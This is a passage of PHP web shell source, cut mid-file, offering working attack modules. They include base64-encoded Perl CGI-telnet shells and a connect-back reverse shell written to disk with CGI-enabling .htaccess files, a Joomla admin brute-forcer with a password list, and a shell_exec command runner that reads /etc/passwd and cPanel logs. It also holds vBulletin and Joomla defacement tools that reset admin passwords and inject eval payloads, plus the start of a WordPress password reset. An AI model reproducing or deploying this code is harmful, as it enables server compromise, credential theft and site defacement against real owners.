9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0K';
  2526. $file = fopen("izo.cin" ,"w+");
  2527. $write = fwrite ($file ,base64_decode($cgishellizocin));
  2528. fclose($file);
  2529. chmod("izo.cin",0755);
  2530. $netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
  2531. MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
  2532. ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
  2533. MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
  2534. ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
  2535. MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
  2536. Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
  2537. KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
  2538. SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
  2539. ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
  2540. UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
  2541. VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
  2542. ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
  2543. JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
  2544. bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
  2545. ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
  2546. YXRhY2hlZFxuXG4iOw==';
  2547. $file = fopen("dc.pl" ,"w+");
  2548. $write = fwrite ($file ,base64_decode($netcatshell));
  2549. fclose($file);
  2550. chmod("dc.pl",0755);
  2551. echo "<iframe src=cgitelnet1/izo.cin width=96% height=90% frameborder=0></iframe>
  2552. </div>"; }
  2553. //////////////////////////////////////////////////////////////////////////////////////////////
  2554. elseif(isset($_GET['x']) && ($_GET['x'] == 'jbrute'))
  2555. {
  2556. ?>
  2557. <form action="?y=<?php echo $pwd; ?>&x=jbrute" method="post">
  2558. <meta name="author" content="RetnOHacK" />
  2559. <meta name="keywords" content="Joomla, Bruter, JoomlaBruter, JoomlaBruterForce, JoomlaBruterForceOnline" />
  2560. <meta name="description" content="RetnOHacK #Procoder'z Team Albanian" />
  2561. <center>
  2562. </br></br>
  2563. <center><b><font color="lime">+--=[ Joomla Bruter Force ]=--+</font></b><br /><br />
  2564. <form method="post" action="" enctype="multipart/form-data">
  2565. <table class="tabnet" width="38%" border="0"><center>
  2566. <th colspan="2">Joomla Brute Force</th>
  2567. <tr><td><p ><font class="d1">User :</font></th>
  2568. <input class="inputz" type='text' name="usr" value="admin" size="15"> </font></center><br /><br /></p>
  2569. </td></tr>
  2570. <tr><td><font class="">Sites list :</font>
  2571. </td><td><font class="" >Pass list :</font></td></tr>
  2572. <tr>
  2573. <td>
  2574. <textarea name="sites" style="background:black;" cols="40" rows="13" ></textarea>
  2575. </td><td>
  2576. <textarea name="w0rds" style="background:black;" cols="40" rows="13" >
  2577. admin
  2578. 123456
  2579. password
  2580. 102030
  2581. 123123
  2582. 12345
  2583. 123456789
  2584. pass
  2585. test
  2586. admin123
  2587. demo
  2588. !@#$%^
  2589. </textarea>
  2590. </td></tr><center><tr><td>
  2591. <font >
  2592. <input class="inputzbut" type="submit" name="x" value="start" id="d4">
  2593. </font></td></tr><br>
  2594. tanks for procoder'z team albanian<br></center></table>
  2595. </form></center>
  2596. <?
  2597. @set_time_limit(0);
  2598. if($_POST['x']){
  2599. echo "<hr>";
  2600. $sites = explode("\n",$_POST["sites"]); // Get Sites
  2601. $w0rds = explode("\n",$_POST["w0rds"]); // Get w0rdLiSt
  2602. $Attack = new Joomla_brute_Force(); // Active Class
  2603. foreach($w0rds as $pwd){
  2604. foreach($sites as $site){
  2605. $Attack->check_it(txt_cln($site),$_POST['usr'],txt_cln($pwd)); // Brute :D
  2606. flush();flush();
  2607. }
  2608. }
  2609. }
  2610. # Class & Function'z
  2611. function txt_cln($value){ return str_replace(array("\n","\r"),"",$value); }
  2612. class Joomla_brute_Force{
  2613. public function check_it($site,$user,$pass){ // print result
  2614. if(eregi('com_config',$this->post($site,$user,$pass))){
  2615. echo "<span class=\"x2\"><b># Success : $user:$pass -> <a href='$site/administrator/index.php'>$site/administrator/index.php</a></b></span><BR>";
  2616. $f = fopen("Result.txt","a+"); fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php\n"); fclose($f);
  2617. flush();
  2618. }else{ echo "# Failed : $user:$pass -> $site<BR>"; flush();}
  2619. }
  2620. public function post($site,$user,$pass){ // Post -> user & pass
  2621. $token = $this->extract_token($site);
  2622. $curl=curl_init();
  2623. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  2624. curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
  2625. @curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
  2626. @curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
  2627. curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
  2628. @curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
  2629. curl_setopt($curl,CURLOPT_POST,1);
  2630. curl_setopt($curl,CURLOPT_POSTFIELDS,'username='.$user.'&passwd='.$pass.'&lang=en-GB&option=com_login&task=login&'.$token.'=1');
  2631. curl_setopt($curl,CURLOPT_TIMEOUT,20);
  2632. $exec=curl_exec($curl);
  2633. curl_close($curl);
  2634. return $exec;
  2635. }
  2636. public function extract_token($site){ // get token from source for -> function post
  2637. $source = $this->get_source($site);
  2638. preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si" ,$source,$token);
  2639. return $token[1][0];
  2640. }
  2641. public function get_source($site){ // get source for -> function extract_token
  2642. $curl=curl_init();
  2643. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  2644. curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
  2645. @curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
  2646. @curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
  2647. curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
  2648. @curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
  2649. curl_setopt($curl,CURLOPT_TIMEOUT,20);
  2650. $exec=curl_exec($curl);
  2651. curl_close($curl);
  2652. return $exec;
  2653. }
  2654. }
  2655. }
  2656. /////////////////////////////////////////////////////////////////////////////////////////////
  2657. elseif(isset($_GET['x']) && ($_GET['x'] == 'vb'))
  2658. {
  2659. ?>
  2660. <form action="?y=<?php echo $pwd; ?>&x=vb" method="post">
  2661. <br><br><br><div align="center">
  2662. <H2><span style="font-weight: 400"><font face="Trebuchet MS" size="4">
  2663. <b><font color="#00FF00">+--=[ VB Index Changer ]=--+</font></b>
  2664. </div><br>
  2665. <?
  2666. if(empty($_POST['index'])){
  2667. echo "<center><FORM method=\"POST\">";
  2668. echo "<table class=\"tabnet\">
  2669. <th colspan=\"2\">Vb Index Changer</th>
  2670. <tr><td>host </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"localhost\" value=\"localhost\"></td></tr>
  2671. <tr><td>database </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"database\" value=\"forum_vb\"></td></tr>
  2672. <tr><td>username </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"username\" value=\"user_vb\"></td></tr>
  2673. <tr><td>password </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"password\" value=\"vb\"></td></tr>
  2674. </tr>
  2675. <th colspan=\"2\">Your Index Code</th></table><table class=\"tabnet\">
  2676. <TEXTAREA name=\"index\" rows=\"13\" style=\"background:black\" border=\"1\" cols=\"69\" name=\"code\">your index code</TEXTAREA><br>
  2677. <INPUT class=\"inputzbut\" type=\"submit\" value=\"setting\" name=\"send\">
  2678. </FORM></table></center>";
  2679. }else{
  2680. $localhost = $_POST['localhost'];
  2681. $database = $_POST['database'];
  2682. $username = $_POST['username'];
  2683. $password = $_POST['password'];
  2684. $index = $_POST['index'];
  2685. @mysql_connect($localhost,$username,$password) or die(mysql_error());
  2686. @mysql_select_db($database) or die(mysql_error());
  2687. $index=str_replace("\'","'",$index);
  2688. $set_index = "{\${eval(base64_decode(\'";
  2689. $set_index .= base64_encode("echo \"$index\";");
  2690. $set_index .= "\'))}}{\${exit()}}</textarea>";
  2691. echo("UPDATE template SET template ='".$set_index."' ") ;
  2692. $ok=@mysql_query("UPDATE template SET template ='".$set_index."'") or die(mysql_error());
  2693. if($ok){
  2694. echo "!! update finish !!<br><br>";
  2695. }
  2696. }
  2697. }
  2698. //////////////////////////////////////////////////////////////////////////////////////////////
  2699. elseif(isset($_GET['x']) && ($_GET['x'] == 'bypass'))
  2700. {
  2701. ?>
  2702. <form action="?y=<?php echo $pwd; ?>&x=bypass" method="post">
  2703. <?php
  2704. echo "<center/><br/><b><font color=#00ff00>-=[ Command Bypass Exploit ]=-</font></b><br>
  2705. ";
  2706. print_r('
  2707. <pre>
  2708. <form method="POST" action="">
  2709. <b><font color=#00ff00><b><font color="#00ff00">Command :=) </font></font></b><input name="baba" type="text" class="inputz" size="34"><input type="submit" class="inputzbut" value="Go">
  2710. </form>
  2711. <form method="POST" action=""><strong><b><font color="#00ff00">Menu Bypass :=) </font></strong><select name="liz0" size="1" class="inputz">
  2712. <option value="cat /etc/passwd">/etc/passwd</option>
  2713. <option value="netstat -an | grep -i listen">netstat</option>
  2714. <option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
  2715. <option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
  2716. <option value="cat /etc/hosts">/etc/hosts</option>
  2717. <option value="cat /etc/named.conf">/etc/named.conf</option>
  2718. <option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
  2719. </select> <input type="submit" class="inputzbut" value="G&ouml;">
  2720. </form>
  2721. </pre>
  2722. ');
  2723. ini_restore("safe_mode");
  2724. ini_restore("open_basedir");
  2725. $liz0=shell_exec($_POST[baba]);
  2726. $liz0zim=shell_exec($_POST[liz0]);
  2727. $uid=shell_exec('id');
  2728. $server=shell_exec('uname -a');
  2729. echo "<pre><h4>";
  2730. echo $liz0;
  2731. echo $liz0zim;
  2732. echo "</h4></pre>";
  2733. "</div>"; }
  2734. ///////////////////////////////////////////////////////////////////////////
  2735. elseif(isset($_GET['x']) && ($_GET['x'] == 'jodexer'))
  2736. {
  2737. ?>
  2738. <form action="?y=<?php echo $pwd; ?>&x=jodexer" method="post">
  2739. <?php
  2740. function randomt() {
  2741. $chars = "abcdefghijkmnopqrstuvwxyz023456789";
  2742. srand((double)microtime()*1000000);
  2743. $i = 0;
  2744. $pass = '' ;
  2745. while ($i <= 7) {
  2746. $num = rand() % 33;
  2747. $tmp = substr($chars, $num, 1);
  2748. $pass = $pass . $tmp;
  2749. $i++;
  2750. }
  2751. return $pass;
  2752. }
  2753. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
  2754. {
  2755. $ar0=explode($marqueurDebutLien, $text);
  2756. $ar1=explode($marqueurFinLien, $ar0[$i]);
  2757. $ar=trim($ar1[0]);
  2758. return $ar;
  2759. }
  2760. if ($_POST['form_action'])
  2761. {
  2762. $text=file_get_contents($_POST['file']);
  2763. $username=entre2v2($text,"public $user = '","';");
  2764. $password=entre2v2($text,"public $password = ', '","';");
  2765. $dbname=entre2v2($text,"public $db = ', '","';");
  2766. $dbprefix=entre2v2($text,"public $dbprefix = '","';");
  2767. $site_url=($_POST['site_url']);
  2768. $h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
  2769. $co=randomt();
  2770. /*
  2771. echo($username);
  2772. echo("<br>");
  2773. echo($password);
  2774. echo("<br>");
  2775. echo($dbname);
  2776. echo("<br>");
  2777. echo($dbprefix);
  2778. echo("<br>");
  2779. */
  2780. $co=randomt();
  2781. if ($_POST['form_action'])
  2782. {
  2783. $h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
  2784. $link=mysql_connect("dzoed.druknet.bt",$username,$password) ;
  2785. mysql_select_db($dbname,$link) ;
  2786. $tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
  2787. echo("<br>[+] Changing admin password to 123456789");
  2788. $req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
  2789. if ( $req )
  2790. {
  2791. #################################################################
  2792. ###################### V1.6 ######################
  2793. #################################################################
  2794. $req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
  2795. $data = mysql_fetch_array($req);
  2796. $template_name=$data["template"];
  2797. $req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
  2798. $data = mysql_fetch_array($req);
  2799. $template_id=$data["extension_id"];
  2800. $url2=$site_url."/index.php";
  2801. $ch = curl_init();
  2802. curl_setopt($ch, CURLOPT_URL, $url2);
  2803. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2804. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  2805. curl_setopt($ch, CURLOPT_HEADER, 1);
  2806. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  2807. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  2808. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  2809. $buffer = curl_exec($ch);
  2810. $return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
  2811. $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
  2812. ///////////////////////////
  2813. $url2=$site_url."/index.php";
  2814. $ch = curl_init();
  2815. curl_setopt($ch, CURLOPT_URL, $url2);
  2816. curl_setopt($ch, CURLOPT_POST, 1);
  2817. curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
  2818. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2819. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  2820. curl_setopt($ch, CURLOPT_HEADER, 0);
  2821. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  2822. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  2823. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  2824. $buffer = curl_exec($ch);
  2825. $pos = strpos($buffer,"com_config");
  2826. if($pos === false) {
  2827. echo("<br>[-] Login Error");
  2828. exit;
  2829. }
  2830. else {
  2831. echo("<br>[~] Login Successful");
  2832. }
  2833. ///////////////////////////
  2834. $url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
  2835. $ch = curl_init();
  2836. curl_setopt($ch, CURLOPT_URL, $url2);
  2837. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2838. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  2839. curl_setopt($ch, CURLOPT_HEADER, 0);
  2840. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  2841. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  2842. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  2843. $buffer = curl_exec($ch);
  2844. $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
  2845. if($hidden2) {
  2846. echo("<br>[+] index.php file founded in Theme Editor");
  2847. }
  2848. else {
  2849. echo("<br>[-] index.php Not found in Theme Editor");
  2850. exit;
  2851. }
  2852. echo("<br>[*] Updating Index.php .....");
  2853. $url2=$site_url."/index.php?option=com_templates&layout=edit";
  2854. $ch = curl_init();
  2855. curl_setopt($ch, CURLOPT_URL, $url2);
  2856. curl_setopt($ch, CURLOPT_POST, 1);
  2857. curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
  2858. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2859. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  2860. curl_setopt($ch, CURLOPT_HEADER, 0);
  2861. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  2862. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  2863. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  2864. $buffer = curl_exec($ch);
  2865. $pos = strpos($buffer,'<dd class="message message">');
  2866. if($pos === false) {
  2867. echo("<br>[-] Updating Index.php Error");
  2868. exit;
  2869. }
  2870. else {
  2871. echo("<br>[~] index.php successfully saved");
  2872. }
  2873. #################################################################
  2874. ###################### V1.6 END ######################
  2875. #################################################################
  2876. }
  2877. else
  2878. {
  2879. #################################################################
  2880. ###################### V1.5 ######################
  2881. #################################################################
  2882. $req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
  2883. $data = mysql_fetch_array($req);
  2884. $template_name=$data["template"];
  2885. $url2=$site_url."/index.php";
  2886. $ch = curl_init();
  2887. curl_setopt($ch, CURLOPT_URL, $url2);
  2888. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2889. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  2890. curl_setopt($ch, CURLOPT_HEADER, 1);
  2891. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  2892. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  2893. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  2894. $buffer = curl_exec($ch);
  2895. $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
  2896. $url2=$site_url."/index.php";
  2897. $ch = curl_init();
  2898. curl_setopt($ch, CURLOPT_URL, $url2);
  2899. curl_setopt($ch, CURLOPT_POST, 1);
  2900. curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
  2901. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2902. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  2903. curl_setopt($ch, CURLOPT_HEADER, 0);
  2904. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  2905. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  2906. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  2907. $buffer = curl_exec($ch);
  2908. $pos = strpos($buffer,"com_config");
  2909. if($pos === false) {
  2910. echo("<br>[-] Login Error");
  2911. exit;
  2912. }
  2913. else {
  2914. echo("<br>[+] Login Successful");
  2915. }
  2916. ///////////////////////////
  2917. $url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
  2918. $ch = curl_init();
  2919. curl_setopt($ch, CURLOPT_URL, $url2);
  2920. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2921. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  2922. curl_setopt($ch, CURLOPT_HEADER, 0);
  2923. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  2924. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  2925. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  2926. $buffer = curl_exec($ch);
  2927. $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
  2928. if($hidden2) {
  2929. echo("<br>[~] index.php file founded in Theme Editor");
  2930. }
  2931. else {
  2932. echo("<br>[-] index.php Not found in Theme Editor");
  2933. }
  2934. echo("<br>[*] Updating Index.php .....");
  2935. $url2=$site_url."/index.php?option=com_templates&layout=edit";
  2936. $ch = curl_init();
  2937. curl_setopt($ch, CURLOPT_URL, $url2);
  2938. curl_setopt($ch, CURLOPT_POST, 1);
  2939. curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
  2940. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2941. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  2942. curl_setopt($ch, CURLOPT_HEADER, 0);
  2943. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  2944. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  2945. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  2946. $buffer = curl_exec($ch);
  2947. $pos = strpos($buffer,'<dd class="message message fade">');
  2948. if($pos === false) {
  2949. echo("<br>[-] Updating Index.php Error");
  2950. exit;
  2951. }
  2952. else {
  2953. echo("<br>[~] index.php successfully saved");
  2954. }
  2955. #################################################################
  2956. ###################### V1.5 END ######################
  2957. #################################################################
  2958. }
  2959. }
  2960. function randomt() {
  2961. $chars = "abcdefghijkmnopqrstuvwxyz023456789";
  2962. srand((double)microtime()*1000000);
  2963. $i = 0;
  2964. $pass = '' ;
  2965. while ($i <= 7) {
  2966. $num = rand() % 33;
  2967. $tmp = substr($chars, $num, 1);
  2968. $pass = $pass . $tmp;
  2969. $i++;
  2970. }
  2971. return $pass;
  2972. }
  2973. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
  2974. {
  2975. $ar0=explode($marqueurDebutLien, $text);
  2976. $ar1=explode($marqueurFinLien, $ar0[$i]);
  2977. $ar=trim($ar1[0]);
  2978. return $ar;
  2979. }
  2980. }?>
  2981. <center><br><br>
  2982. <font color="#00ff00" size='+3'><b>+--=[ Automatic Joomla Index Changer ]=--+</b></font><br><br>
  2983. </center>
  2984. <center><b>
  2985. Link of symlink configuration.php of Joomla<br></b>
  2986. <FORM action="" method="post">
  2987. <input type="hidden" name="form_action" value="1">
  2988. <input type="text" class="inputz" size="60" name="file" value="http://site.com/sym/home/user/public_html/configuration.php">
  2989. <br>
  2990. <br><b>
  2991. Admin Control panel url</b><br>
  2992. <input type="text" class="inputz" size="40" name="site_url" value="http://site/administrator"><br>
  2993. <br><b>
  2994. Your Index Code</b>
  2995. <br>
  2996. <TEXTAREA rows="20" align="center" style="background:black" cols="120" name="code"> your index code
  2997. </TEXTAREA>
  2998. <br>
  2999. <INPUT class="inputzbut" type="submit" value="Lets Go Deface !!!" name="Submit">
  3000. </FORM>
  3001. </center>
  3002. <script language=JavaScript>m='%09%09%09%09%09%09%09%3C/td%3E%0A%09%09%09%09%09%09%3C/tr%3E%0A%09%09%09%09%09%3C/table%3E%0A%09%09%09%09%3C/td%3E%0A%3C/html%3E';d=unescape(m);document.write(d);</script>
  3003. <?php
  3004. }
  3005. ///////////////////////////////////////////////////////////////////////////
  3006. elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi2012')) {
  3007. echo "<center/><br/><b>
  3008. +--==[ CGI-Telnet Version 1.3 ]==--+
  3009. </b><br><br>";
  3010. mkdir('cgi2012', 0755);
  3011. chdir('cgi2012');
  3012. $kokdosya = ".htaccess";
  3013. $dosya_adi = "$kokdosya";
  3014. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
  3015. $metin = "AddHandler cgi-script .izo";
  3016. fwrite ( $dosya , $metin ) ;
  3017. fclose ($dosya);
  3018. $cgi2012 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2Nhb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SBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=';
  3019. $file = fopen("cgi2012.izo" ,"w+");
  3020. $write = fwrite ($file ,base64_decode($cgi2012));
  3021. fclose($file);
  3022. chmod("cgi2012.izo",0755);
  3023. echo " <iframe src=cgi2012/cgi2012.izo width=96% height=76% frameborder=0></iframe>
  3024. </div>"; }
  3025. ///////////////////////////////////////////////////////////////////////////
  3026. elseif(isset($_GET['x']) && ($_GET['x'] == 'config'))
  3027. {
  3028. ?>
  3029. <form action="?y=<?php echo $pwd; ?>&x=config" method="post">
  3030. <?php
  3031. echo "<center/><br/><b><font color=#00ff00>+--==[ Config Shell Priv8 SCR ]==--+</font></b><br><br>";
  3032. mkdir('config', 0755);
  3033. chdir('config');
  3034. $kokdosya = ".htaccess";
  3035. $dosya_adi = "$kokdosya";
  3036. $dosya = fopen ($dosya_adi , 'w') or die ("Error cuyy!");
  3037. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  3038. AddType application/x-httpd-cgi .cpc
  3039. AddHandler cgi-script .izo
  3040. AddHandler cgi-script .izo";
  3041. fwrite ( $dosya , $metin ) ;
  3042. fclose ($dosya);
  3043. $file = fopen("config.izo" ,"w+");
  3044. $write = fwrite ($file ,base64_decode($configshell));
  3045. fclose($file);
  3046. chmod("config.izo",0755);
  3047. echo "<iframe src=config/config.izo width=97% height=100% frameborder=0></iframe>
  3048. </div>";
  3049. }
  3050. /////////////////////////////////////////////////////////////////////////
  3051. ///////////////////////////////////////////////////////////////////////////
  3052. elseif(isset($_GET['x']) && ($_GET['x'] == 'wp-reset'))
  3053. {
  3054. ?>
  3055. <form action="?y=<?php echo $pwd; ?>&x=wp-reset" method="post">
  3056. <?php
  3057. echo "<center/><br/><b><font color=#00ff00>+--==[ Wordpress Reset Password ]==--+</font></b><br><br>";
  3058. if(empty($_POST['pwd'])){
  3059. echo "<FORM method='POST'>
  3060. <table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td>&nbsp;&nbsp;Hostname</td><td>
  3061. <input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td>&nbsp;&nbsp;Database</td><td>
  3062. <input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td>&nbsp;&nbsp;username</td><td>
  3063. <input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td>&nbsp;&nbsp;password</td><td>
  3064. <input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>
  3065. <tr><td>&nbsp;&nbsp;User baru</td><td>
  3066. <input style='width:220px;' class='inputz' type='text' name='admin' value='admin' /></td></tr>
  3067. <tr><td>&nbsp;&nbsp;Pass Baru</td><td>
  3068. <input style='width:80px;' class='inputz' type='text' name='pwd' value='123456' />&nbsp;
  3069. <input style='width:19%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
  3070. </td></tr> </table><br><br><br><br>
  3071. ";
  3072. }else{
  3073. $localhost = $_POST['localhost'];
  3074. $database = $_POST['database'];
  3075. $username = $_POST['username'];
  3076. $password = $_POST['password'];
  3077. $pwd = $_POST['pwd'];
  3078. $admin = $_POST['admin'];
  3079. @mysql_connect($localhost,$username,$password) or die(mysql_error());
  3080. @mysql_select_db($database) or die(mysql_error());
  3081. $hash = crypt($pwd);
